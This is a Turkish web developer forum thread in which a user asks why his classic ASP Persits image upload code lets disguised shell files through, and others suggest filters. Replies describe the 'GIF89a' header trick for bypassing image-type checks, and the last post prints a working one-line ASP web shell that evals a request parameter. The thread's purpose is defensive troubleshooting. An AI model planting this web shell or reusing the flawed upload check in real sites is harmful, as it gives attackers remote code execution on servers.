lostyazilim
tr.link

Persits Resim Upload ve Güvenlik Sorunu

8 Mesajlar 1.217 Okunma
acebozum
tr.link

altuncumedya altuncumedya WM Aracı Kullanıcı
  • Üyelik 30.01.2012
  • Yaş/Cinsiyet 39 / E
  • Meslek web tasarım
  • Konum Kahramanmaraş
  • Ad Soyad A** A**
  • Mesajlar 142
  • Beğeniler 1 / 11
  • Ticaret 0, (%0)
Merhaba arkadaşlar. hazırlamakta olduğum bir sitenin yönetim panelinde resim yükleme işlemi yapacağım resim yüklemek veya boyutlandırmakta hiçbir sorun yok. ancak shell dosyalarının yüklenmesini engelleyemedim.

Yani Normal resimleri yükleyip istediğim boyutlara getirerek kaydediyorum ama uzantısı jpg yada gif olarak kaydedilmiş kod dosyalarını da yüklüyor. normalde eğer dosya tipi bilinmeyen ise bu bir resim dosyası değil hatası vermesi gerekirken shell dosyasını yiyor. hatayı es geçiyor. abuk subuk bir sorun çözemedim gitti. yardımlarınızı bekliyorum. kullandığım resim yükleme kodları ise şunlar:


<%
Set Upload = Server.CreateObject("Persits.Upload")
Upload.CodePage = 65001
Upload.OverwriteFiles = False
On Error Resume next
Path = Server.Mappath("temp")
Path2 = Server.Mappath("../upload/resimler")
Count = Upload.Save(Path)
Set File = Upload.Files(1)
If File.ImageType <> "UNKNOWN" Then
Set jpeg = Server.CreateObject("Persits.Jpeg")
jpeg.Open( File.Path )

L2 = 150
H2 = 210
Jpeg.Width = L2
Jpeg.Height = Jpeg.OriginalHeight * Jpeg.Width / Jpeg.OriginalWidth
kenarpayii = Round(Int((Jpeg.Height-H2)/2))
Jpeg.Crop 0, kenarpayii, L2, H2+kenarpayii
Jpeg.PNGOutput = True
isim = upload.Form("isim")
fotoisim = seo(isim)
uzanti = File.Ext
Dim resim_adi
resim_adi= fotoisim & uzanti
SavePath = Path2 & "/" & resim_adi
jpeg.Save SavePath
Else
Response.Write("Resim Dosyası Değil")
End if
%>
 

 

elektronikssl
webimgo

JumperTech JumperTech Üyeliği Durdurulmuş Banlı Kullanıcı
  • Üyelik 02.07.2016
  • Yaş/Cinsiyet 39 / E
  • Meslek Webmaster
  • Konum İstanbul Avrupa
  • Ad Soyad B** O**
  • Mesajlar 1705
  • Beğeniler 820 / 523
  • Ticaret 19, (%100)

File.ImageType <> "UNKNOWN"

Buradan sadece jpeg png tiplerini al
 

 

altuncumedya altuncumedya WM Aracı Kullanıcı
  • Üyelik 30.01.2012
  • Yaş/Cinsiyet 39 / E
  • Meslek web tasarım
  • Konum Kahramanmaraş
  • Ad Soyad A** A**
  • Mesajlar 142
  • Beğeniler 1 / 11
  • Ticaret 0, (%0)
Denedim onuda ama gene olmadı
 

 

ontedi ontedi www.ontedi.com Kullanıcı
  • Üyelik 03.10.2013
  • Yaş/Cinsiyet 44 / E
  • Meslek Yazılım Uzmanı, Matematikçi
  • Konum Ankara
  • Ad Soyad S** T**
  • Mesajlar 1118
  • Beğeniler 325 / 324
  • Ticaret 2, (%100)
If File.ImageType = "JPG" OR File.ImageType = "BMP" Then

Şeklinde deneyebilir misin?
 

 

www.ontedi.com
www.cizgi.site
wmaraci
wmaraci

JumperTech JumperTech Üyeliği Durdurulmuş Banlı Kullanıcı
  • Üyelik 02.07.2016
  • Yaş/Cinsiyet 39 / E
  • Meslek Webmaster
  • Konum İstanbul Avrupa
  • Ad Soyad B** O**
  • Mesajlar 1705
  • Beğeniler 820 / 523
  • Ticaret 19, (%100)
Bu iş zaten sadece file type ile olmaz, shell dosyasına GIF89a; yazar yükler site kabul eder.

Dosya uzantılarına da bakın.
 

 

altuncumedya altuncumedya WM Aracı Kullanıcı
  • Üyelik 30.01.2012
  • Yaş/Cinsiyet 39 / E
  • Meslek web tasarım
  • Konum Kahramanmaraş
  • Ad Soyad A** A**
  • Mesajlar 142
  • Beğeniler 1 / 11
  • Ticaret 0, (%0)
Bir kod sayfasının başına GIF89a; yazıp sayfayı uzantısı jpg olacak şekilde kaydettiğinde persits bunu yiyor.
File.ImageType ile dosya türü sorgulaması yapınca gif olarak görüyor ve dosyayı yiyor
File.Ext ile uzantı sorgulaması yapınca da uzantısı jpg olarak kaydedildiğinden bunu da yiyor. ama upload edilen dosya ne jpg ne de gif dosyası. bildiğiniz kod dosyası

bu sorunu nasıl aşacağım yani uzantısı jpg, png, gif gibi resim uzantıları olsada, kod sayfası başına başına GIF89a; yazsada engelleyecek bir filtre lazım
 

 

ontedi ontedi www.ontedi.com Kullanıcı
  • Üyelik 03.10.2013
  • Yaş/Cinsiyet 44 / E
  • Meslek Yazılım Uzmanı, Matematikçi
  • Konum Ankara
  • Ad Soyad S** T**
  • Mesajlar 1118
  • Beğeniler 325 / 324
  • Ticaret 2, (%100)
File Contenttype kısımına bakın.

Bir jpg bir de shell olan dosyayı karşılaştırın.
 

 

www.ontedi.com
www.cizgi.site

altuncumedya altuncumedya WM Aracı Kullanıcı
  • Üyelik 30.01.2012
  • Yaş/Cinsiyet 39 / E
  • Meslek web tasarım
  • Konum Kahramanmaraş
  • Ad Soyad A** A**
  • Mesajlar 142
  • Beğeniler 1 / 11
  • Ticaret 0, (%0)
valla kardeş IF File.ContentType <> "image/jpeg" THEN şeklinde koşula bağladım yine yedi shell dosyasını anlamadım gitti.

shell dosyasının içeriği bu. uzantısı jpg

GIF89a
<%response.write("a1"&"b2"&"c3"&"d4")&eval(request("Teks0"))%>
 

 

Site Ayarları
  • Tema Seçeneği
  • Site Sesleri
  • Bildirimler
  • Özel Mesaj Al